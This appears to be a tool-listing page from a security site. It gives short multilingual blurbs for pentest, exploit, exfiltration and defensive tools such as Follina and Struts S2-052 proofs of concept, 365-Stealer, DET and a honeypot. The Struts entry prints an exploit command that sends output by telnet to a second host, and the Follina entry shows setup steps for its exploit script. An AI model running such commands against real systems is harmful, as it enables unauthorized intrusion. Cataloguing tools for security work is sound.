webanalyze

webanalyze Go로 작성된 Wappalyzer의 포트입니다. 이 도구는 성능에 최적화되어 있으며 대규모 호스트 목록을 테스트할 수 있습니다. Wappalyzer가 앱 정의에 대한 공개 액세스를 제거했기 때문에 webanalyze는 현재 enthec에서 정의를 로드합니다. 설치 및 사용법 사전 컴파일된 릴리스 사전 컴파일된 릴리스는 여기에서 직접 다운로드할 수 있습니다. 빌드 직접 빌드하려면: root@kitploit: $ go install -v...

cornershot

CornerShot이란? 전쟁에서 CornerShot은 군인이 모퉁이 너머를 살펴보고어쩌면 사격도 적에게 노출되지 않고 공격할 수 있게 해주는 무기입니다. 이와 유사하게, CornerShot 패키지를 사용하면 원격 호스트에서 특별한 권한 없이도 해당 호스트의 네트워크 접근 상태를 확인할 수 있습니다. CornerShot을 사용하면 소스source가 캐리어carrier에 네트워크 접근이 가능할 때, 특정 포트 p 에 대해 캐리어 와 타겟target 사이에 네트워크 접근이 있는지 확인할 수 있습니다. 예를 들어, 레드팀이 "침해된...

pentest-tools

pentest-tools Набор пользовательских инструментов безопасности для быстрых нужд. Важное примечание ‼ В ноябре 2022 года была проведена большая чистка ‼ Некоторые бесполезные/неработающие скрипты были архивированы, а другие перемещены в собственные репозитории для большей видимости. Не стесняйтесь...

CVE-2022-30190

CVE-2022-30190 - Microsoft サポート診断ツール 概要 このスクリプトは、リモートでコードを実行する Microsoft Office 文書を作成しようとします。 セットアップ root@kitploit: git clone https://github.com/joshuavanderpoll/CVE-2022-30190.git cd CVE-2022-30190 python3 CVE-2022-30190.py --help オプション root@kitploit: usage: CVE-2022-30190.py -h --html HTML --cm...

Krawl

Krawl A modern, customizable web honeypot server designed to detect and track malicious activity from attackers and web crawlers through deceptive web pages, fake credentials, and canary tokens. Table of Contents Demo What is Krawl? Krawl Dashboard Deployment Modes Krawl Banlist Quickstart Docker...

pyrasite

.. image:: docs/logo.png pyrasite .. image:: https://api.travis-ci.org/lmacken/pyrasite.png?branch=develop :target: http://travis-ci.org/lmacken/pyrasite .. image:: https://coveralls.io/repos/lmacken/pyrasite/badge.png?branch=develop :target: https://coveralls.io/r/lmacken/pyrasite?branch=develop...

cve-2022-42889-text4shell

Установка maven - maven-linux 1. Установка Maven для создания fat jar root@kitploit: mvn clean install 2. Сборка Docker root@kitploit: docker build --tag=text4shell . 3. Запуск Docker root@kitploit: docker run -p 80:8080 text4shell 4. Тестирование приложения root@kitploit:...

apache__incubator-dubbo_CVE-2021-30181_2-6-8

Apache Dubbo 프로젝트 Apache Dubbo는 강력하고 사용자 친화적인 Web 및 RPC 프레임워크입니다. Java, Go, Python, PHP, Erlang, Rust, Node.js/Web 등 여러 언어 구현을 지원합니다. Dubbo는 통신, 서비스 디스커버리, 트래픽 관리, 관측 가능성, 보안, 도구 및 엔터프라이즈급 마이크로서비스 구축을 위한 모범 사례에 대한 솔루션을 제공합니다. 🚀 Dubbo 개선을 위해 사용자 정보를 수집하고 있습니다. 여기에서 도와주세요: 누가 Dubbo를 사용하나요? 🧱 아키텍처...

365-Stealer

365-Stealer Table des matières À propos de 365-Stealer Comprendre l’attaque par octroi de consentement illicite Principales fonctionnalités de 365-Stealer Configuration de l’environnement d’attaque Enregistrement automatisé d’une application Azure Enregistrement manuel d’une application Azure...

CVE-2018-6574-POC

CVE-2018-6574 POC ССЫЛКИ Простой POC для CVE-2018-6574 https://nvd.nist.gov/vuln/detail/CVE-2018-6574 http://blog.nsfocus.net/cve-2018-6574/...

DET

DET расширяемый инструментарий для эксфильтрации данных ======= DET предоставляется КАК ЕСТЬ является доказательством концепции для выполнения эксфильтрации данных с использованием одного или нескольких каналов одновременно. Это доказательство концепции, направленное на выявление возможных сбоев...

-CVE-2017-9805-

漏洞信息 资源： https://vulners.com/cve/CVE-2017-9805 这是什么？ 一个 Python 漏洞利用脚本，能够在托管易受 S2-052 攻击的 Struts2 系统上远程执行 shell 命令。 用法 python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" root@kitploit: Apache Struts XStream REST vulnerability - S2-052...

bambdas

Bambda 脚本 欢迎来到 PortSwigger 官方 Bambda 脚本仓库。本仓库收录了由 PortSwigger 和社区共同开发的脚本合集，满满都是🧡 📑 本页目录 Bambda 脚本类型 仓库内容 将脚本导入 Burp 更新库中的脚本 贡献你自己的脚本 资源 Bambda 脚本类型 Bambdas 是在受支持的 Burp 工具中运行的脚本。你可以通过创建以下内容快速定制 Burp Suite： 表过滤器 – 动态过滤 Burp 中的表。 表列 – 添加自定义表列以呈现重要数据。 Repeater 自定义操作 – 在 Burp Repeater 中提取、转换和分析数据。...

ad-autopwn

AD AutoPwn Без аутентификации до Domain Admin — автоматизированная цепочка атак на Active Directory Полностью автоматизированный инструмент для тестирования на проникновение, который объединяет более 25 техник атак для компрометации сред Active Directory. Разработан для авторизованных оценок...

dirhunt

.. image:: https://raw.githubusercontent.com/Nekmo/dirhunt/v0.2.0/images/dirhunt.png | .. image:: https://raw.githubusercontent.com/Nekmo/dirhunt/pip-rating-badge/pip-rating-badge.svg :target: https://github.com/Nekmo/dirhunt/actions/workflows/pip-rating.yml :alt: pip-rating badge .. image::...

log4j-scan

log4j-scan Un scanner entièrement automatisé, précis et complet pour trouver des hôtes log4j vulnérables Fonctionnalités Prise en charge des listes d'URL. Fuzzing pour plus de 60 en-têtes de requête HTTP pas seulement 3-4 en-têtes comme dans les outils précédemment vus. Fuzzing pour les paramètre...

apache__camel_CVE-2018-8041_2-20-3

Apache Camel Apache Camel는 데이터를 소비하거나 생산하는 다양한 시스템을 빠르고 쉽게 통합할 수 있게 해주는 오픈 소스 통합 프레임워크입니다. 소개 Camel을 사용하면 Java, XML, Groovy, YAML과 같은 다양한 도메인 특화 언어DSL로 라우팅 및 중재 규칙을 정의할 수 있습니다. 즉, Java 또는 XML 편집기에서 IDE의 라우팅 규칙 스마트 완성 기능을 사용할 수 있습니다. Apache Camel은 URI를 사용하여 HTTP, ActiveMQ, JMS, JBI, SCA, MINA, CXF...

SharpWebServer

SharpWebServer Un serveur HTTP & WebDAV simple orienté Red Team écrit en C avec la fonctionnalité de capture de hachages Net-NTLM. À utiliser pour servir des payloads sur des machines compromises à des fins de mouvement latéral. Nécessite .NET Framework 4.5 et les références System.Net et...

hibernate-orm

Hibernate ORM は、アプリケーション、ライブラリ、フレームワークにオブジェクト/リレーショナルマッピング（ORM）サポートを提供するライブラリです。 また、ORM の標準 Java 仕様である JPA 仕様の実装も提供します。 ここはそのソースコードのリポジトリです。詳細は Hibernate.org を参照してください。 ソースからのビルド ビルドには Java 8 JDK が JAVAHOME として必要です。 ソース を取得するには Git が必要です。 Hibernate はビルドツールとして Gradle を使用しています。Gradle に慣れていない場合は、下記の...

Espionage

Espionage - Un intercepteur de trafic réseau pour Linux Présenté dans À propos d'Espionage Espionage est un renifleur de paquets réseau qui intercepte de grandes quantités de données transmises via une interface. L'outil permet aux utilisateurs d'exécuter une analyse de trafic normale et verbeuse...